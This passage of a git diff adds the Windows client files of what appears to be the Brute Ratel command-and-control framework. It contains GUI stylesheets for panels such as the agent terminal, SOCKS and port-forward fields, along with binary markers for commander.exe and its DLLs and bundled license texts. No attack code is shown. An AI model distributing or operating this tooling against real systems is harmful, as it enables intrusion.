#cee5f0; color: black; font-family: Monospace; font-size: 9pt; +} + +QTableWidget:item { + padding:5px; + background-color: #91b2c7; +} + +QTableWidget:item:selected { + background-color: #406d87; +} + +QStatusBar { + background-color: rgba(0, 0, 0, 0); + selection-background-color: #91b2c7; + color: black; +} + +QGroupBox { + background: #cee5f0; + color: black; + selection-background-color: #91b2c7; + border:none; +} + +QGroupBox:disabled { + background-color:#000000; +} + +QPlainTextEdit { + background-color: #5f757d; + selection-background-color: #91b2c7; + color: black; + font-size: 9pt; +} + +QLineEdit { + background-color: white; + selection-background-color: #91b2c7; + color: black; + font-size: 9pt; +} + +QComboBox { + background-color: #5f757d; + selection-background-color: #91b2c7; + color: black; + font-size: 9pt; +} +QSpinBox { + background-color: #5f757d; + selection-background-color: #91b2c7; + color: black; + font-size: 9pt; +} + +QWebEngineView { + background-color: #5f757d; + selection-background-color: #91b2c7; + color: black; +} + +QPushButton { + padding: 5px; + background-color: #406d87; + color: black; +} + +QPushButton:pressed { + background-color: #91b2c7; +} + +QCheckBox { + background: none; + color: black; + font-size: 9pt; +} + +QCheckBox:indicator:checked { + background-color: #406d87; + border: 2px solid white; +} + +QCheckBox:indicator:unchecked { + background-color: black; + border: 2px solid white; +} + +QRadioButton { + background: none; + color: black; + font-size: 9pt; +} +QRadioButton::indicator { + width: 10px; + height: 10px; + border-radius: 7px; +} + +QRadioButton::indicator:checked { + background-color: #406d87; + border: 2px solid white; +} + +QRadioButton::indicator:unchecked { + background-color: black; + border: 2px solid white; +} + +QTreeWidget { + outline:0; + background: #cee5f0; + font-size: 9pt; +} + +QTreeWidget::item { + padding: 5px; + background: #91b2c7; + border: 0.5px solid black; +} + +QTreeWidget::item:selected { + background-color: #406d87; +} + +QListWidget { + outline:0; + background: #cee5f0; + font-size: 9pt; +} + +QListWidget::item { + background: #91b2c7; /* light purple */ + color: black; + font-size: 9pt; +} + +QListWidget::item:selected { + background-color: #406d87; +} + +QTextBrowser { + padding: 5px; + background: #91b2c7; + color: black; + selection-background-color: #406d87; + font-size: 9pt; +} + +QTextEdit:enabled { + padding: 5px; + background: #91b2c7; + color: black; + selection-background-color: #406d87; + font-size: 9pt; +} + +QTextEdit:disabled { + background: grey; + color: black; +} + +QLabel#label_status { + background: none; + font-family: Monospace; + color: #33FF00; + font-weight: bold; + font-size: 9pt; +} + +QLabel#label_error { + background: none; + color : red; + font-size: 9pt; +} + +QTreeWidget#treeWidget_lstree::item:has-children { + border-right: 10px solid #91b2c7; + background-color: #5f757d; +} + +QTableWidget#tableWidget_pstree::item { + padding:5px; + border-right: 1px solid #406d87; + border-left: 1px solid #406d87; +} + +QTableWidget#tableWidget_lstree:item { + padding:5px; + border-right: 1px solid #406d87; + border-left: 1px solid #406d87; +} + +QLineEdit#lineEdit_cmd { + background-color: white; + selection-background-color: #91b2c7; + color: black; + font-size: 9pt; +} + +QLineEdit#lineEdit_terminal_cwd { + background-color: #2b3040; + selection-background-color: #050f2e; + color: #a8a8a8; + font-size: 9pt; +} +QLineEdit#lineEdit_terminal_sleep { + background-color: #2b3040; + selection-background-color: #050f2e; + color: #a8a8a8; + font-size: 9pt; +} +QLineEdit#lineEdit_terminal_user { + background-color: #2b3040; + selection-background-color: #050f2e; + color: #a8a8a8; + font-size: 9pt; +} +QLineEdit#lineEdit_terminal_socks { + background-color: #2b3040; + selection-background-color: #050f2e; + color: #a8a8a8; + font-size: 9pt; +} +QLineEdit#lineEdit_terminal_rportfwd { + background-color: #2b3040; + selection-background-color: #050f2e; + color: #a8a8a8; + font-size: 9pt; +} + +QTextEdit#textEdit_badger_terminal { + background: #0e2a35; + color: white; +} diff --git a/BruteRatel-v2.1.2/lib64-windows/commander-shady.qss b/BruteRatel-v2.1.2/lib64-windows/commander-shady.qss new file mode 100644 index 0000000..f10a542 --- /dev/null +++ b/BruteRatel-v2.1.2/lib64-windows/commander-shady.qss @@ -0,0 +1,341 @@ +/* total colors - 12 - +main background: #30303d; +background: #3c3c4d; +selection background: #24435d; +text-editor: #24435d; +tab-background: #24435d; +border1: #535a6e; +disabled: #000000; +badger-cmd-color: #33FF00; +badger-meta: #30303d; +badger-meta-selection: #050f2e; +badger-meta-text: #a8a8a8; +badger-terminal: #1a1a26; +font-color: #ffffff; +line-background-color: #000000; +*/ + +QDialog { + background: #30303d; /* white */ + color: #ffffff; +} + +QWidget { + background-color: #30303d; + color: #ffffff; + selection-background-color: #27282f; + font-size: 8.5pt; +} + +QHeaderView::section { + padding:5px; + color: #ffffff; + background: #3c3c4d; + font-size: 8.5pt; +} + +QTabWidget { + background-color: #3c3c4d; + color: #ffffff; + selection-background-color: #27282f; /* light blue */ + font-size: 8.5pt; +} + +QTabWidget:disabled { + background-color: grey; + color: grey; +} + +QTabBar:tab { + background: #27282f; + color: #ffffff; + border: 1px solid #535a6e; /* dark purple */ + padding-left: 10px; + padding-right: 10px; + padding-top: 5px; + padding-bottom: 5px; +} + +QTabBar:tab:selected { + background: #24435d; /* light dark blue */ + color: white; +} + +QToolButton { + padding: 5px; + background: #27282f; + color: #ffffff; + border-radius: 7px; + font-size: 8.5pt; +} + +QToolButton:pressed { + background-color: #24435d; + font-size: 8.5pt; +} + +QMenu { + padding: 5px; + selection-background-color: #24435d; + background-color: #27282f; + color: #ffffff; + icon-size: 16px; + font-family: Monospace; + font-size: 8.5pt; + border: 1px solid #535a6e; +} + +QMenu:item:selected { + color: white; +} + + +QLabel { + background: none; + font-family: Monospace; + font-size: 8.5pt; +} + +QDockWidget { + background-color: #3c3c4d; + selection-background-color: #27282f; + color: #ffffff; + font-size: 8.5pt; +} + +QTableWidget { + background: #3c3c4d; color: #ffffff; font-family: Monospace; font-size: 8.5pt; +} + +QTableWidget:item { + padding:5px; + background-color: #27282f; +} + +QTableWidget:item:selected { + background-color: #24435d; +} + +QStatusBar { + background-color: rgba(0, 0, 0, 0); + selection-background-color: #27282f; + color: #ffffff; +} + +QGroupBox { + background: #3c3c4d; + color: #ffffff; + selection-background-color: #27282f; + border:none; +} + +QGroupBox:disabled { + background-color:#000000; +} + +QPlainTextEdit { + background-color: #24435d; + selection-background-color: #27282f; + color: #ffffff; + font-size: 8.5pt; +} + +QLineEdit { + background-color: #000000; + selection-background-color: #27282f; + color: #ffffff; + font-size: 8.5pt; +} + +QComboBox { + background-color: #24435d; + selection-background-color: #27282f; + color: #ffffff; + font-size: 8.5pt; +} +QSpinBox { + background-color: #24435d; + selection-background-color: #27282f; + color: #ffffff; + font-size: 8.5pt; +} + +QWebEngineView { + background-color: #24435d; + selection-background-color: #27282f; + color: #ffffff; +} + +QPushButton { + padding: 5px; + background-color: #24435d; + color: #ffffff; +} + +QPushButton:pressed { + background-color: #27282f; +} + +QCheckBox { + background: none; + color: #ffffff; + font-size: 8.5pt; +} + +QCheckBox:indicator:checked { + background-color: #24435d; + border: 2px solid white; +} + +QCheckBox:indicator:unchecked { + background-color: #ffffff; + border: 2px solid white; +} + +QRadioButton { + background: none; + color: #ffffff; + font-size: 8.5pt; +} +QRadioButton::indicator { + width: 10px; + height: 10px; + border-radius: 7px; +} + +QRadioButton::indicator:checked { + background-color: #24435d; + border: 2px solid white; +} + +QRadioButton::indicator:unchecked { + background-color: #ffffff; + border: 2px solid white; +} + +QTreeWidget { + outline:0; + background: #3c3c4d; + font-size: 8.5pt; +} + +QTreeWidget::item { + padding: 5px; + background: #27282f; + border: 0.5px solid black; +} + +QTreeWidget::item:selected { + background-color: #24435d; +} + +QListWidget { + outline:0; + background: #3c3c4d; + font-size: 8.5pt; +} + +QListWidget::item { + background: #27282f; /* light purple */ + color: #ffffff; + font-size: 8.5pt; +} + +QListWidget::item:selected { + background-color: #24435d; +} + +QTextBrowser { + padding: 5px; + background: #27282f; + color: #ffffff; + selection-background-color: #24435d; + font-size: 8.5pt; +} + +QTextEdit:enabled { + padding: 5px; + background: #27282f; + color: #ffffff; + selection-background-color: #24435d; + font-size: 8.5pt; +} + +QTextEdit:disabled { + background: grey; + color: #ffffff; +} + +QLabel#label_status { + background: none; + font-family: Monospace; + color: #33FF00; + font-weight: bold; + font-size: 8.5pt; +} + +QLabel#label_error { + background: none; + color : red; + font-size: 8.5pt; +} + +QTreeWidget#treeWidget_lstree::item:has-children { + border-right: 10px solid #27282f; + background-color: #24435d; +} + +QTableWidget#tableWidget_pstree::item { + padding:5px; + border-right: 1px solid #24435d; + border-left: 1px solid #24435d; +} + +QTableWidget#tableWidget_lstree:item { + padding:5px; + border-right: 1px solid #24435d; + border-left: 1px solid #24435d; +} + +QLineEdit#lineEdit_cmd { + background-color: #000000; + selection-background-color: #27282f; + color: #ffffff; + font-size: 8.5pt; +} + +QLineEdit#lineEdit_terminal_cwd { + background-color: #2b3040; + selection-background-color: #050f2e; + color: #a8a8a8; + font-size: 8.5pt; +} +QLineEdit#lineEdit_terminal_sleep { + background-color: #2b3040; + selection-background-color: #050f2e; + color: #a8a8a8; + font-size: 8.5pt; +} +QLineEdit#lineEdit_terminal_user { + background-color: #2b3040; + selection-background-color: #050f2e; + color: #a8a8a8; + font-size: 8.5pt; +} +QLineEdit#lineEdit_terminal_socks { + background-color: #2b3040; + selection-background-color: #050f2e; + color: #a8a8a8; + font-size: 8.5pt; +} +QLineEdit#lineEdit_terminal_rportfwd { + background-color: #2b3040; + selection-background-color: #050f2e; + color: #a8a8a8; + font-size: 8.5pt; +} + +QTextEdit#textEdit_badger_terminal { + background: #1a1a26; + color: white; +} diff --git a/BruteRatel-v2.1.2/lib64-windows/commander.exe b/BruteRatel-v2.1.2/lib64-windows/commander.exe new file mode 100644 index 0000000..d061b84 Binary files /dev/null and b/BruteRatel-v2.1.2/lib64-windows/commander.exe differ diff --git a/BruteRatel-v2.1.2/lib64-windows/lib/GNU LGPL QT5 LICENSE.txt b/BruteRatel-v2.1.2/lib64-windows/lib/GNU LGPL QT5 LICENSE.txt new file mode 100644 index 0000000..9609bdc --- /dev/null +++ b/BruteRatel-v2.1.2/lib64-windows/lib/GNU LGPL QT5 LICENSE.txt @@ -0,0 +1,164 @@ +GNU LESSER GENERAL PUBLIC LICENSE + Version 3, 29 June 2007 + + Copyright (C) 2007 Free Software Foundation, Inc. + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + This version of the GNU Lesser General Public License incorporates +the terms and conditions of version 3 of the GNU General Public +License, supplemented by the additional permissions listed below. + + 0. Additional Definitions. + + As used herein, "this License" refers to version 3 of the GNU Lesser +General Public License, and the "GNU GPL" refers to version 3 of the GNU +General Public License. + + "The Library" refers to a covered work governed by this License, +other than an Application or a Combined Work as defined below. + + An "Application" is any work that makes use of an interface provided +by the Library, but which is not otherwise based on the Library. +Defining a subclass of a class defined by the Library is deemed a mode +of using an interface provided by the Library. + + A "Combined Work" is a work produced by combining or linking an +Application with the Library. The particular version of the Library +with which the Combined Work was made is also called the "Linked +Version". + + The "Minimal Corresponding Source" for a Combined Work means the +Corresponding Source for the Combined Work, excluding any source code +for portions of the Combined Work that, considered in isolation, are +based on the Application, and not on the Linked Version. + + The "Corresponding Application Code" for a Combined Work means the +object code and/or source code for the Application, including any data +and utility programs needed for reproducing the Combined Work from the +Application, but excluding the System Libraries of the Combined Work. + + 1. Exception to Section 3 of the GNU GPL. + + You may convey a covered work under sections 3 and 4 of this License +without being bound by section 3 of the GNU GPL. + + 2. Conveying Modified Versions. + + If you modify a copy of the Library, and, in your modifications, a +facility refers to a function or data to be supplied by an Application +that uses the facility (other than as an argument passed when the +facility is invoked), then you may convey a copy of the modified +version: + + a) under this License, provided that you make a good faith effort to + ensure that, in the event an Application does not supply the + function or data, the facility still operates, and performs + whatever part of its purpose remains meaningful, or + + b) under the GNU GPL, with none of the additional permissions of + this License applicable to that copy. + + 3. Object Code Incorporating Material from Library Header Files. + + The object code form of an Application may incorporate material from +a header file that is part of the Library. You may convey such object +code under terms of your choice, provided that, if the incorporated +material is not limited to numerical parameters, data structure +layouts and accessors, or small macros, inline functions and templates +(ten or fewer lines in length), you do both of the following: + + a) Give prominent notice with each copy of the object code that the + Library is used in it and that the Library and its use are + covered by this License. + + b) Accompany the object code with a copy of the GNU GPL and this license + document. + + 4. Combined Works. + + You may convey a Combined Work under terms of your choice that, +taken together, effectively do not restrict modification of the +portions of the Library contained in the Combined Work and reverse +engineering for debugging such modifications, if you also do each of +the following: + + a) Give prominent notice with each copy of the Combined Work that + the Library is used in it and that the Library and its use are + covered by this License. + + b) Accompany the Combined Work with a copy of the GNU GPL and this license + document. + + c) For a Combined Work that displays copyright notices during + execution, include the copyright notice for the Library among + these notices, as well as a reference directing the user to the + copies of the GNU GPL and this license document. + + d) Do one of the following: + + 0) Convey the Minimal Corresponding Source under the terms of this + License, and the Corresponding Application Code in a form + suitable for, and under terms that permit, the user to + recombine or relink the Application with a modified version of + the Linked Version to produce a modified Combined Work, in the + manner specified by section 6 of the GNU GPL for conveying + Corresponding Source. + + 1) Use a suitable shared library mechanism for linking with the + Library. A suitable mechanism is one that (a) uses at run time + a copy of the Library already present on the user's computer + system, and (b) will operate properly with a modified version + of the Library that is interface-compatible with the Linked + Version. + + e) Provide Installation Information, but only if you would otherwise + be required to provide such information under section 6 of the + GNU GPL, and only to the extent that such information is + necessary to install and execute a modified version of the + Combined Work produced by recombining or relinking the + Application with a modified version of the Linked Version. (If + you use option 4d0, the Installation Information must accompany + the Minimal Corresponding Source and Corresponding Application + Code. If you use option 4d1, you must provide the Installation + Information in the manner specified by section 6 of the GNU GPL + for conveying Corresponding Source.) + + 5. Combined Libraries. + + You may place library facilities that are a work based on the +Library side by side in a single library together with other library +facilities that are not Applications and are not covered by this +License, and convey such a combined library under terms of your +choice, if you do both of the following: + + a) Accompany the combined library with a copy of the same work based + on the Library, uncombined with any other library facilities, + conveyed under the terms of this License. + + b) Give prominent notice with the combined library that part of it + is a work based on the Library, and explaining where to find the + accompanying uncombined form of the same work. + + 6. Revised Versions of the GNU Lesser General Public License. + + The Free Software Foundation may publish revised and/or new versions +of the GNU Lesser General Public License from time to time. Such new +versions will be similar in spirit to the present version, but may +differ in detail to address new problems or concerns. + + Each version is given a distinguishing version number. If the +Library as you received it specifies that a certain numbered version +of the GNU Lesser General Public License "or any later version" +applies to it, you have the option of following the terms and +conditions either of that published version or of any later version +published by the Free Software Foundation. If the Library as you +received it does not specify a version number of the GNU Lesser +General Public License, you may choose any version of the GNU Lesser +General Public License ever published by the Free Software Foundation. + + If the Library as you received it specifies that a proxy can decide +whether future versions of the GNU Lesser General Public License shall +apply, that proxy's public statement of acceptance of any version is +permanent authorization for you to choose that version for the +Library. \ No newline at end of file diff --git a/BruteRatel-v2.1.2/lib64-windows/lib/OPENSSL LICENSE.txt b/BruteRatel-v2.1.2/lib64-windows/lib/OPENSSL LICENSE.txt new file mode 100644 index 0000000..b8cc044 --- /dev/null +++ b/BruteRatel-v2.1.2/lib64-windows/lib/OPENSSL LICENSE.txt @@ -0,0 +1,177 @@ + + Apache License + Version 2.0, January 2004 + https://www.apache.org/licenses/ + + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + + 1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by Licensor and + subsequently incorporated within the Work. + + 2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + + 3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + + 4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding those notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + + 5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + + 6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + + 7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + + 8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + + 9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + + END OF TERMS AND CONDITIONS \ No newline at end of file diff --git a/BruteRatel-v2.1.2/lib64-windows/lib/bin/Qt5Core.dll b/BruteRatel-v2.1.2/lib64-windows/lib/bin/Qt5Core.dll new file mode 100644 index 0000000..9d0242a Binary files /dev/null and b/BruteRatel-v2.1.2/lib64-windows/lib/bin/Qt5Core.dll differ diff --git a/BruteRatel-v2.1.2/lib64-windows/lib/bin/Qt5Gui.dll b/BruteRatel-v2.1.2/lib64-windows/lib/bin/Qt5Gui.dll new file mode 100644 index 0000000..024bb6f Binary files /dev/null and b/BruteRatel-v2.1.2/lib64-windows/lib/bin/Qt5Gui.dll differ diff --git a/BruteRatel-v2.1.2/lib64-windows/lib/bin/Qt5Network.dll b/BruteRatel-v2.1.2/lib64-windows/lib/bin/Qt5Network.dll new file mode 100644 index 0000000..7fefb05 Binary files /dev/null and b/BruteRatel-v2.1.2/lib64-windows/lib/bin/Qt5Network.dll differ diff --git a/BruteRatel-v2.1.2/lib64-windows/lib/bin/Qt5WebSockets.dll b/BruteRatel-v2.1.2/lib64-windows/lib/bin/Qt5WebSockets.dll new file mode 100644 index 0000000..040e492 Binary files /dev/null and b/BruteRatel-v2.1.2/lib64-windows/lib/bin/Qt5WebSockets.dll differ diff --git a/BruteRatel-v2.1.2/lib64-windows/lib/bin/Qt5Widgets.dll b/BruteRatel-v2.1.2/lib64-windows/lib/bin/Qt5Widgets.dll new file mode 100644 index 0000000..0f7cbc3 Binary files /dev/null and b/BruteRatel-v2.1.2/lib64-windows/lib/bin/Qt5Widgets.dll differ diff --git a/BruteRatel-v2.1.2/lib64-windows/lib/bin/libcrypto-1_1-x64.dll b/BruteRatel-v2.1.2/lib64-windows/lib/bin/libcrypto-1_1-x64.dll new file mode 100644 index 0000000..f996a04 Binary files /dev/null and b/BruteRatel-v2.1.2/lib64-windows/lib/bin/libcrypto-1_1-x64.dll differ diff --git a/BruteRatel-v2.1.2/lib64-windows/lib/bin/libgcc_s_seh-1.dll b/BruteRatel-v2.1.2/lib64-windows/lib/bin/libgcc_s_seh-1.dll new file mode 100644 index 0000000..abd357d Binary files /dev/null and b/BruteRatel-v2.1.2/lib64-windows/lib/bin/libgcc_s_seh-1.dll differ diff --git a/BruteRatel-v2.1.2/lib64-windows/lib/bin/libssl-1_1-x64.dll b/BruteRatel-v2.1.2/lib64-windows/lib/bin/libssl-1_1-x64.dll new file mode 100644 index 0000000..f6cf40b Binary files /dev/null and b/BruteRatel-v2.1.2/lib64-windows/lib/bin/libssl-1_1-x64.dll differ diff --git a/BruteRatel-v2.1.2/lib64-windows/lib/bin/libstdc++-6.dll b/BruteRatel-v2.1.2/lib64-windows/lib/bin/libstdc++-6.dll new file mode 100644 index 0000000..a7dc1e2 Binary files /dev/null and b/BruteRatel-v2.1.2/lib64-windows/lib/bin/libstdc++-6.dll differ diff --git a/BruteRatel-v2.1.2/lib64-windows/lib/bin/libwinpthread-1.dll b/BruteRatel-v2.1.2/lib64-windows/lib/bin/libwinpthread-1.dll new file mode 100644 index 0000000..500de9d Binary files /dev/null and b/BruteRatel-v2.1.2/lib64-windows/lib/bin/libwinpthread-1.dll differ diff --git a/BruteRatel-v2.1.2/lib64-windows/lib/plugins/iconengines/qsvgicon.dll b/BruteRatel-v2.1.2/lib64-windows/lib/plugins/iconengines/qsvgicon.dll new file mode 100644 index 0000000..2baa1ad Binary files /dev/null and b/BruteRatel-v2.1.2/lib64-windows/lib/plugins/iconengines/qsvgicon.dll differ diff --git a/BruteRatel-v2.1.2/lib64-windows/lib/plugins/imageformats/qgif.dll b/BruteRatel-v2.1.2/lib64-windows/lib/plugins/imageformats/qgif.dll new file mode 100644 index 0000000..faa73f8 Binary files /dev/null and b/BruteRatel-v2.1.2/lib64-windows/lib/plugins/imageformats/qgif.dll differ diff --git a/BruteRatel-v2.1.2/lib64-windows/lib/plugins/imageformats/qicns.dll b/BruteRatel-v2.1.2/lib64-windows/lib/plugins/imageformats/qicns.dll new file mode 100644 index 0000000..3c911c1 Binary files /dev/null and b/BruteRatel-v2.1.2/lib64-windows/lib/plugins/imageformats/qicns.dll differ diff --git a/BruteRatel-v2.1.2/lib64-windows/lib/plugins/imageformats/qico.dll b/BruteRatel-v2.1.2/lib64-windows/lib/plugins/imageformats/qico.dll new file mode 100644 index 0000000..b4c1b3a Binary files /dev/null and b/BruteRatel-v2.1.2/lib64-windows/lib/plugins/imageformats/qico.dll differ diff --git a/BruteRatel-v2.1.2/lib64-windows/lib/plugins/imageformats/qjpeg.dll b/BruteRatel-v2.1.2/lib64-windows/lib/plugins/imageformats/qjpeg.dll new file mode 100644 index 0000000..2b37397 Binary files /dev/null and b/BruteRatel-v2.1.2/lib64-windows/lib/plugins/imageformats/qjpeg.dll differ diff --git a/BruteRatel-v2.1.2/lib64-windows/lib/plugins/imageformats/qsvg.dll b/BruteRatel-v2.1.2/lib64-windows/lib/plugins/imageformats/qsvg.dll new file mode 100644 index 0000000..0ce1591 Binary files /dev/null and b/BruteRatel-v2.1.2/lib64-windows/lib/plugins/imageformats/qsvg.dll differ diff --git a/BruteRatel-v2.1.2/lib64-windows/lib/plugins/imageformats/qtga.dll b/BruteRatel-v2.1.2/lib64-windows/lib/plugins/imageformats/qtga.dll new file mode 100644 index 0000000..4b46a2e Binary files /dev/null and b/BruteRatel-v2.1.2/lib64-windows/lib/plugins/imageformats/qtga.dll differ diff --git a/BruteRatel-v2.1.2/lib64-windows/lib/plugins/imageformats/qtiff.dll b/BruteRatel-v2.1.2/lib64-windows/lib/plugins/imageformats/qtiff.dll new file mode 100644 index 0000000..f518c04 Binary files /dev/null and b/BruteRatel-v2.1.2/lib64-windows/lib/plugins/imageformats/qtiff.dll differ diff --git a/BruteRatel-v2.1.2/lib64-windows/lib/plugins/imageformats/qwbmp.dll b/BruteRatel-v2.1.2/lib64-windows/lib/plugins/imageformats/qwbmp.dll new file mode 100644 index 0000000..b39c881 Binary files /dev/null and b/BruteRatel-v2.1.2/lib64-windows/lib/plugins/imageformats/qwbmp.dll differ diff --git a/BruteRatel-v2.1.2/lib64-windows/lib/plugins/imageformats/qwebp.dll b/BruteRatel-v2.1.2/lib64-windows/lib/plugins/imageformats/qwebp.dll new file mode 100644 index 0000000..0486e3e Binary files /dev/null and b/BruteRatel-v2.1.2/lib64-windows/lib/plugins/imageformats/qwebp.dll differ diff --git a/BruteRatel-v2.1.2/lib64-windows/lib/plugins/platforms/qdirect2d.dll b/BruteRatel-v2.1.2/lib64-windows/lib/plugins/platforms/qdirect2d.dll new file mode 100644 index 0000000..b0de167 Binary files /dev/null and b/BruteRatel-v2.1.2/lib64-windows/lib/plugins/platforms/qdirect2d.dll differ diff --git a/BruteRatel-v2.1.2/lib64-windows/lib/plugins/platforms/qminimal.dll b/BruteRatel-v2.1.2/lib64-windows/lib/plugins/platforms/qminimal.dll new file mode 100644 index 0000000..91beab7 Binary files /dev/null and b/BruteRatel-v2.1.2/lib64-windows/lib/plugins/platforms/qminimal.dll differ diff --git a/BruteRatel-v2.1.2/lib64-windows/lib/plugins/platforms/qoffscreen.dll b/BruteRatel-v2.1.2/lib64-windows/lib/plugins/platforms/qoffscreen.dll new file mode 100644 index 0000000..189bdc8 Binary files /dev/null and b/BruteRatel-v2.1.2/lib64-windows/lib/plugins/platforms/qoffscreen.dll differ diff --git a/BruteRatel-v2.1.2/lib64-windows/lib/plugins/platforms/qwindows.dll b/BruteRatel-v2.1.2/lib64-windows/lib/plugins/platforms/qwindows.dll new file mode 100644 index 0000000..4aad851 Binary files /dev/null and b/BruteRatel-v2.1.2/lib64-windows/lib/plugins/platforms/qwindows.dll differ diff --git a/BruteRatel-v2.1.2/lib64-windows/lib/plugins/platformthemes/qxdgdesktopportal.dll b/BruteRatel-v2.1.2/lib64-windows/lib/plugins/platformthemes/qxdgdesktopportal.dll new file mode 100644 index 0000000..d397c3b Binary files /dev/null and b/BruteRatel-v2.1.2/lib64-windows/lib/plugins/platformthemes/qxdgdesktopportal.dll differ diff --git a/BruteRatel-v2.1.2/lib64-windows/lib/plugins/renderers/openglrenderer.dll b/BruteRatel-v2.1.2/lib64-windows/lib/plugins/renderers/openglrenderer.dll new file mode 100644 index 0000000..6cbca5c Binary files /dev/null and b/BruteRatel-v2.1.2/lib64-windows/lib/plugins/renderers/openglrenderer.dll differ diff --git a/BruteRatel-v2.1.2/lib64-windows/lib/plugins/styles/qwindowsvistastyle.dll b/BruteRatel-v2.1.2/lib64-windows/lib/plugins/styles/qwindowsvistastyle.dll new file mode 100644 index 0000000..dbe23e0 Binary files /dev/null and b/BruteRatel-v2.1.2/lib64-windows/lib/plugins/styles/qwindowsvistastyle.dll differ diff --git a/BruteRatel-v2.1.2/lib64-windows/ratel.conf b/BruteRatel-v2.1.2/lib64-windows/ratel.conf new file mode 100644 index 0000000..8dcd3c1 --- /dev/null +++ 